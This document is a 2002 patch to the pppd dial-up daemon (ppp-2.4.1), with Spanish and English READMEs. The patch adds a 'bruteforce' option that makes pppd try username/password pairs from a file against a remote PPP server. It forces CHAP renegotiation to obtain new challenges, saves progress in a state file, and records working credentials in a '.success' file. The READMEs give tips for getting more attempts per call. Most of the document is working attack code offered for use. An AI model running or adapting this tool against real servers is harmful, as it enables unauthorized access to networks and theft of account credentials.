diff -r -u -P ppp-2.4.1/LEEME.bf ppp-2.4.1+bf/LEEME.bf --- ppp-2.4.1/LEEME.bf Thu Jan 1 01:00:00 1970 +++ ppp-2.4.1+bf/LEEME.bf Sat Apr 27 19:20:02 2002 @@ -0,0 +1,74 @@ +Soporte para ataques de fuerza bruta en PPPD +-------------------------------------------- +Este parche añade soporte para realizar ataques de fuerza bruta contra PPP +utilizando pppd. + +Se activa a través de la opción "bruteforce" que acepta un parametro: el +nombre de un fichero que contiene parejas usuario/contraseña a intentar. +Solo hace falta añadir una entrada como la siguiente al fichero "options" +de pppd: + + bruteforce /etc/ppp/userpass.dat + +El fichero acepta un registro por linea, separando usuario y contraseña con +una barra vertical (|). Si no se especifica una barra se considera la linea +entera como usuario sin contraseña. Un fichero de fuerza bruta sería algo +así: + +user|password +test|test +root +root|root +password + +Se da por finalizado el proceso de ataque por fuerza bruta cuando se cumple +una de las siguiente condiciones: + + - Se llega al final del fichero de ataque por fuerza bruta. Se avisa al + usuario y se termina el proceso, a menos que no se cambie el fichero. + + - Se consigue una autentificación satisfactoria. Se guardan el protocolo, + nombre de usuario y contraseña en un fichero de nombre igual al fichero + que lista usuarios y contraseñas, añadiendole el sufijo ".success" (p.e. + un fichero llamado "userpass.dat", generaria un fichero + "userpass.dat.success"). + +Para saber que parejas de usuario/contraseña se han probado, el programa crea un +fichero de estado para cada fichero de ataque por fuerza bruta (nombre del +fichero con el prefijo ".state"). Este fichero contiene el numero de +registro que se esta probando en ese momento. En aquellas ocasiones en las +que sea necesario reiniciar el proceso de fuerza bruta, empezando a provar +todas las combinaciones otra vez, tan solo es necesario borrar el fichero de +estado y el programa olvidará cualquier intento anterior relacioinado con +ese fichero. + +El numero de intentos por llamada que acepta un servidor remoto depende de +la implementación remota de PPP, el metod de autentificación empleado y la +configuración del servidor. Por ejemplo, algunas veces el acceso remoto a +redes de Microsoft permite solo un intento cuando se utiliza PAP, mientras +que permite intentos ilimitados si se utiliza CHAP. Por tanto vale la pena +provar distintas combinaciones para minimizar el numero de llamadas a +realizar. + +Implementación +-------------- +La implementación del ataque por fuerza bruta contra PAP es bastante +sencilla. PAP es un protocolo en el que el cliente inicia la comunicación, +por tanto lo único que debemos hacer es ir enviando sucesivas peticiones de +autentificación hasta que obtengamos una respuesta satisfactoria. + +El protocolo CHAP es un poco mas complejo, ya que es el servidor quien +inicia la autentificación (cuando el servidor nos envia un desafío +(challenge)). El RFC de CHAP prohibe implicitamenteque un servidor valide +distintas respuestas a un mismo desafío, así que para realizar el ataque de +fuerza bruta necesitamos que el servidor nos mande distintos desafíos. El +problema es que en CHAP no existe nada así como una "petición de desafío", +ya que el standard no contempla el concepto de "reintento de +autentificación". La única forma de obtener un nuevo desafío es renegociando +el protocolo de autentificación después de un fallo, tal como se comenta en +el RFC de CHAP. Éste es el método que se ha implementado en este programa. + +En http://hispahack.ccc.de se puede encontrar siempre la última versión de este parche. + +Jfs +jfs@gibnet.gi diff -r -u -P ppp-2.4.1/README.bf ppp-2.4.1+bf/README.bf --- ppp-2.4.1/README.bf Thu Jan 1 01:00:00 1970 +++ ppp-2.4.1+bf/README.bf Sat Apr 27 18:46:29 2002 @@ -0,0 +1,64 @@ +Bruteforcing support for PPPD +----------------------------- +This patch adds PPP authentication bruteforcing support to pppd. + +Bruteforcing is activated via the "bruteforce" option, which accepts a +parameter: a file that contains username/password pairs to try. Just add an +entry like this to your pppd "options" file: + + bruteforce /etc/ppp/userpass.dat + +The file accepts one entry per line, separating username and password with a +pipe (|). If the pipe is omitted, the whole line is considered the username and +a null password is assumed. A bruteforce file might look like this: + +user|password +test|test +root +root|root +password + +The bruteforce process finishes when either of these conditions are met: + + - The end of the bruteforce file is reached. The user is notified and the + bruteforce process does not continue unless you change the file. + + - A successful login is completed. The protocol, username and password used + are appended to a file named after the bruteforce file, but + adding the ".success" suffix (e.g. for the "userpass.dat" bruteforce file a + "userpass.dat.success" file will be created). + +In order to keep track of the username/password entries already tried, the +program creates a "state" file for each bruteforce file (bruteforce filename +with ".state" suffix ). The content of this file is the number of the entry +being tested at the moment. Sometimes you just want to restart at the +beginning of a file, just remove the ".state" file and the program will +forget about any previous attempts related to that file. + +The number of tries per call accepted by a remote access server depends on the +remote implementation of PPP, the authentication method being used and the server +configuration. For instance, sometimes a Microsoft RAS allows only one PAP try +per call, while an unlimited number of authentication tries are allowed by using +CHAP, though YMMV. It is usually worth trying different combinations in order to +minimize the amount of calls to make. + +Implementation +-------------- +The PAP protocol bruteforcing is pretty straightforward. PAP is a client +initiated authentication so that we just need to keep on sending +authentication requests until we receive a positive response. + +The CHAP protocol is a bit more complex, as it is a server initiated +authentication (the server must send us a challenge). The CHAP RFC strictly +forbids that the server validates different responses to the same challenge, +so in order to perform the bruteforcing we need to get a different challenge +for each entry we want to try. There is not such a thing as a "challenge +request" packet in CHAP, as authentication retrying is not defined in the +standard. The only way to get a new challenge is to renegotiate the +authentication method after a failure, as outlined in the CHAP RFC. This is +the method implemented in the program. + +You can find up-to-date versions of this software at http://hispahack.ccc.de/ + +Jfs +jfs@gibnet.gi diff -r -u -P ppp-2.4.1/pppd/auth.c ppp-2.4.1+bf/pppd/auth.c --- ppp-2.4.1/pppd/auth.c Tue Mar 13 06:54:33 2001 +++ ppp-2.4.1+bf/pppd/auth.c Sat Apr 27 18:33:52 2002 @@ -76,6 +76,8 @@ #endif #include "pathnames.h" +#include "bf.h" + static const char rcsid[] = RCSID; /* Bits in scan_authfile return value */ @@ -162,6 +164,13 @@ static char *uafname; /* name of most recent +ua file */ +/* Bruteforce options */ +char bf_file_path[MAXPATHLEN]={0}; +FILE *bf_fd = NULL; +bool bf_activated; +struct bf_credentials bf_current_credentials; +int bf_file_line = 0; + /* Bits in auth_pending[] */ #define PAP_WITHPEER 1 #define PAP_PEER 2 @@ -263,6 +272,9 @@ "Set IP address(es) which can be used without authentication", OPT_PRIV | OPT_A2LIST }, + { "bruteforce", o_special, (void *)bf_setup_file, + "Use this filename to get bruteforce usernames and passwords" }, + { NULL } }; @@ -318,6 +330,261 @@ return (1); } +/* + * bf_setup_file - open file that contains bruteforcing information + */ +int +bf_setup_file(argv) + char **argv; +{ + int ret; + + /* open bruteforce file */ + strncpy(bf_file_path, *argv, MAXPATHLEN); + + seteuid(getuid()); + bf_fd = fopen(bf_file_path, "r"); + seteuid(0); + if (bf_fd == NULL) { + option_error("unable to open bruteforce file %s", bf_file_path); + return 0; + } + + bf_activated = 1; + ret=bf_credentials_load(&bf_current_credentials); + + if(ret < 0) { + error("Error loading stored bruteforce credentials.\n"); + return (0); + } + + if(ret == 0 || !bf_credentials_next(&bf_current_credentials)) { + error("End of bruteforce file reached without a successful login, sorry.\n", bf_file_path); + return (0); + } + + return (1); +} + +/* + * bf_credentials_load - Loads the last bruteforce credentials from file. + * + * As we need to keep state between different pppd runs, we use a ".state" file to record the + * last username/password combination we were trying. + * + * This "load" function reads the state file and sets the values in bf_current_credentials to those in the file. The + * worst case scenario is one which hasn't yet tested the username/password pair, so it should be considered as untested + * and should be the first pair to try in the current run. + * + * Returns 1 if successful, 0 if there was a fatal error (all credentials already checked, out of memory). + */ + +int +bf_credentials_load(struct bf_credentials *credentials) { + char *state_filename = NULL; + FILE *state_fd= NULL; + char *buf = NULL; + int i=0; + + credentials->username=NULL; + credentials->password=NULL; + + if(bf_activated) { + state_filename=(char *)malloc(strlen(bf_file_path) + strlen(".state") + 1); + + if(!state_filename) { + error("Out of memory"); + return -1; + } + + if(! sprintf(state_filename, "%s.state", bf_file_path)) { + free(state_filename); + error("Out of memory"); + return -1; + } + + state_fd=fopen(state_filename, "r"); + + if(!state_fd) { + bf_file_line=0; + free(state_filename); + return 1; + } + + free(state_filename); + + buf=(char *)malloc(1024); + memset(buf,0,1024); + + if(fgets(buf, 1024, state_fd)) { + bf_clean_crlf(buf); + bf_file_line = atoi(buf); + } + + free(buf); + + fclose(state_fd); + + rewind(bf_fd); + + for(i=0; i < bf_file_line; i++) { + if(! fgets(buf, 1024, bf_fd)) { + return 0; + } + } + + return 1; + } + + return -1; /* Shouldn't be reached */ +} + +bool +bf_credentials_save(struct bf_credentials *credentials) { + char *state_filename = NULL; + FILE *state_fd= NULL; + + if(bf_activated) { + state_filename=(char *)malloc(strlen(bf_file_path)+strlen(".state")+1); + + if(!state_filename) { + error("Out of memory!"); + return 0; + } + + if(! sprintf(state_filename, "%s.state", bf_file_path)) { + free(state_filename); + error("Out of memory!"); + return 0; + } + + state_fd=fopen(state_filename, "w"); + + if(!state_fd) { + error("Can't open bruteforce state file %s", state_filename); + free(state_filename); + return 1; + } + + free(state_filename); + + fprintf(state_fd, "%d", bf_file_line); + BFDEBUG(("BF> Saved credentials %d\n", bf_file_line)); + fclose(state_fd); + + return 1; + } + + return 0; +} + +bool +bf_credentials_next(struct bf_credentials *credentials) { + char *buf = NULL; + char *tmp = NULL, *tmp_username = NULL, *tmp_password = NULL; + + if(bf_activated) { + bf_credentials_save(&bf_current_credentials); + + credentials->username=NULL; + credentials->password=NULL; + + buf=(char *)malloc(1024); + memset(buf,0,1024); + + if(fgets(buf, 1024, bf_fd)) { + tmp_username=buf; + tmp=strchr(buf, '|'); + if(tmp) { + *tmp++=0; + tmp_password=tmp; + } + + if(tmp_username) { + bf_clean_crlf(tmp_username); + credentials->username = strdup(tmp_username); + } + + if(tmp_password) { + bf_clean_crlf(tmp_password); + credentials->password = strdup(tmp_password); + } + bf_file_line++; + } else { + return 0; + } + + free(buf); + + return 1; + } + + return 0; +} + +void +bf_login_successful(char *protocol) { + char *success_filename = NULL; + FILE *success_fd= NULL; + + if(bf_activated) { + notice("BF> Successfully authenticated via %s with username \"%s\", password \"%s\"", protocol, bf_safe_string(bf_current_credentials.username), bf_safe_string(bf_current_credentials.password)); + + success_filename=(char *)malloc(strlen(bf_file_path)+strlen(".success")+1); + + if(!success_filename) { + error("Out of memory!"); + return; + } + + if(! sprintf(success_filename, "%s.success", bf_file_path)) { + free(success_filename); + error("Out of memory!"); + return; + } + + success_fd=fopen(success_filename, "a"); + + if(!success_fd) { + error("Can't open bruteforce success file %s", success_filename); + free(success_filename); + return; + } + + free(success_filename); + + fprintf(success_fd, "%s|%s|%s\n", protocol, bf_safe_string(bf_current_credentials.username), bf_safe_string(bf_current_credentials.password)); + fclose(success_fd); + } +} + +char *bf_safe_string(char *s) { + if(!s) { + return(""); + } + return s; +} + +/* + * bf_clean_crlf - Delete the first occurrence of '\n' and '\r' in a string + */ + +void bf_clean_crlf(char *s) { + char *tmp; + + tmp=strchr(s,'\n'); + + if(tmp) { + *tmp=0; + } + + tmp=strchr(s,'\r'); + + if(tmp) { + *tmp=0; + } +} + /* * privgroup - allow members of the group to have privileged access. @@ -583,7 +850,10 @@ /* * Authentication failure: take the link down */ + lcp_close(unit, "Authentication failed"); + + lcp_open(unit); status = EXIT_PEER_AUTH_FAILED; } @@ -634,6 +904,8 @@ auth_withpeer_fail(unit, protocol) int unit, protocol; { + fsm *f = &lcp_fsm[unit]; + if (passwd_from_file) BZERO(passwd, MAXSECRETLEN); /* @@ -642,7 +914,17 @@ * is no point in persisting without any way to get updated * authentication secrets. */ - lcp_close(unit, "Failed to authenticate ourselves to peer"); + if(bf_activated) { + /* Give it another try */ + f->state = OPENED; + f->flags |= OPT_RESTART; + + lcp_open(unit); + + } else { + lcp_close(unit, "Failed to authenticate ourselves to peer"); + } + status = EXIT_AUTH_TOPEER_FAILED; } @@ -658,11 +940,21 @@ switch (protocol) { case PPP_CHAP: bit = CHAP_WITHPEER; + + if(bf_activated) { + bf_login_successful("CHAP"); + } + break; case PPP_PAP: if (passwd_from_file) BZERO(passwd, MAXSECRETLEN); bit = PAP_WITHPEER; + + if(bf_activated) { + bf_login_successful("PAP"); + } + break; default: warn("auth_withpeer_success: unknown protocol %x", protocol); diff -r -u -P ppp-2.4.1/pppd/bf.h ppp-2.4.1+bf/pppd/bf.h --- ppp-2.4.1/pppd/bf.h Thu Jan 1 01:00:00 1970 +++ ppp-2.4.1+bf/pppd/bf.h Sat Apr 27 18:33:17 2002 @@ -0,0 +1,13 @@ + +struct bf_credentials { + char *username; + char *password; +}; + +int bf_setup_file __P((char **)); +int bf_credentials_load(struct bf_credentials *); +bool bf_credentials_save(struct bf_credentials *); +bool bf_credentials_next(struct bf_credentials *); +void bf_login_successful(char *); +char *bf_safe_string(char *); +void bf_clean_crlf(char *); diff -r -u -P ppp-2.4.1/pppd/chap.c ppp-2.4.1+bf/pppd/chap.c --- ppp-2.4.1/pppd/chap.c Thu Mar 8 06:11:11 2001 +++ ppp-2.4.1+bf/pppd/chap.c Thu Apr 25 02:11:37 2002 @@ -51,6 +51,8 @@ #include "chap_ms.h" #endif +#include "bf.h" + static const char rcsid[] = RCSID; /* @@ -148,8 +150,20 @@ int digest; { chap_state *cstate = &chap[unit]; + char *user = our_name; + + + if(bf_activated) { + /* If we are doing bruteforce, disregard the provided username + and proceed with the next credentials from the bruteforce file + */ + + user = strdup(bf_safe_string(bf_current_credentials.username)); + + BFDEBUG(("BF> Trying CHAP bruteforce with username \"%s\"\n", user)); + } - cstate->resp_name = our_name; + cstate->resp_name = user; cstate->resp_type = digest; if (cstate->clientstate == CHAPCS_INITIAL || @@ -442,13 +456,18 @@ rhostname)); } - /* get secret for authenticating ourselves with the specified host */ - if (!get_secret(cstate->unit, cstate->resp_name, rhostname, - secret, &secret_len, 0)) { - secret_len = 0; /* assume null secret if can't find one */ - warn("No CHAP secret found for authenticating us to %q", rhostname); + if(bf_activated) { + strncpy(secret, bf_safe_string(bf_current_credentials.password), MAXSECRETLEN); + secret_len = strlen(secret); + } else { + /* get secret for authenticating ourselves with the specified host */ + if (!get_secret(cstate->unit, cstate->resp_name, rhostname, + secret, &secret_len, 0)) { + secret_len = 0; /* assume null secret if can't find one */ + warn("No CHAP secret found for authenticating us to %q", rhostname); + } } - + /* cancel response send timeout if necessary */ if (cstate->clientstate == CHAPCS_RESPONSE) UNTIMEOUT(ChapResponseTimeout, cstate); @@ -651,6 +670,15 @@ } UNTIMEOUT(ChapResponseTimeout, cstate); + + /* BRUTEFORCE */ + + if(bf_activated) { + if(! bf_credentials_next(&bf_current_credentials)) { + error("Reached end of credentials file, sorry. Deactivating bruteforcing."); + bf_activated=0; + } + } /* * Print message. diff -r -u -P ppp-2.4.1/pppd/chap.h ppp-2.4.1+bf/pppd/chap.h --- ppp-2.4.1/pppd/chap.h Mon Nov 15 02:44:41 1999 +++ ppp-2.4.1+bf/pppd/chap.h Thu Apr 25 00:04:51 2002 @@ -120,5 +120,10 @@ extern struct protent chap_protent; +extern FILE *bf_fd; +extern char bf_file_path[MAXPATHLEN]; +extern bool bf_activated; +extern struct bf_credentials bf_current_credentials; + #define __CHAP_INCLUDE__ #endif /* __CHAP_INCLUDE__ */ diff -r -u -P ppp-2.4.1/pppd/pppd.h ppp-2.4.1+bf/pppd/pppd.h --- ppp-2.4.1/pppd/pppd.h Tue Mar 13 06:54:37 2001 +++ ppp-2.4.1+bf/pppd/pppd.h Thu Apr 25 00:10:26 2002 @@ -58,6 +58,8 @@ #define MAXNAMELEN 256 /* max length of hostname or name for auth */ #define MAXSECRETLEN 256 /* max length of password or secret */ +#define DEBUGBF + /* * Option descriptor structure. */ @@ -769,6 +771,12 @@ #define IPXCPDEBUG(x) if (debug) dbglog x #else #define IPXCPDEBUG(x) +#endif + +#ifdef DEBUGBF +#define BFDEBUG(x) if (debug) dbglog x +#else +#define BFDEBUG(x) #endif #ifndef SIGTYPE diff -r -u -P ppp-2.4.1/pppd/upap.c ppp-2.4.1+bf/pppd/upap.c --- ppp-2.4.1/pppd/upap.c Thu Mar 8 06:11:16 2001 +++ ppp-2.4.1+bf/pppd/upap.c Sat Apr 27 02:18:46 2002 @@ -29,6 +29,8 @@ #include "pppd.h" #include "upap.h" +#include "bf.h" + static const char rcsid[] = RCSID; static bool hide_password = 1; @@ -116,7 +118,6 @@ u->us_reqtimeout = UPAP_DEFREQTIME; } - /* * upap_authwithpeer - Authenticate us with our peer (start client). * @@ -129,6 +130,19 @@ { upap_state *u = &upap[unit]; + if(bf_activated) { + /* If we are doing bruteforce, disregard the provided username and password + and proceed with the next credentials from the bruteforce file + */ + + if(bf_activated) { + user = bf_safe_string(bf_current_credentials.username); + password = bf_safe_string(bf_current_credentials.password); + + BFDEBUG(("BF> Trying PAP bruteforce with \"%s\" and \"%s\"\n", user, password)); + } + } + /* Save the username and password we're given */ u->us_user = user; u->us_userlen = strlen(user); @@ -493,6 +507,26 @@ PRINTMSG(msg, msglen); } } + + /* BRUTEFORCE */ + + if(bf_activated) { + if(! bf_credentials_next(&bf_current_credentials)) { + error("Reached end of credentials file, sorry. Deactivating bruteforcing."); + bf_activated=0; + } + } + + if(bf_activated) { + u->us_timeouttime = UPAP_DEFTIMEOUT; + u->us_maxtransmits = 10; + u->us_reqtimeout = UPAP_DEFREQTIME; + + upap_authwithpeer(u->us_unit, "", ""); + return; + } + + /* End of BRUTEFORCE */ u->us_clientstate = UPAPCS_BADAUTH; diff -r -u -P ppp-2.4.1/pppd/upap.h ppp-2.4.1+bf/pppd/upap.h --- ppp-2.4.1/pppd/upap.h Mon Nov 15 02:51:54 1999 +++ ppp-2.4.1+bf/pppd/upap.h Wed Apr 24 22:48:37 2002 @@ -85,3 +85,8 @@ void upap_authpeer __P((int)); extern struct protent pap_protent; + +extern FILE *bf_fd; +extern char bf_file_path[MAXPATHLEN]; +extern bool bf_activated; +extern struct bf_credentials bf_current_credentials;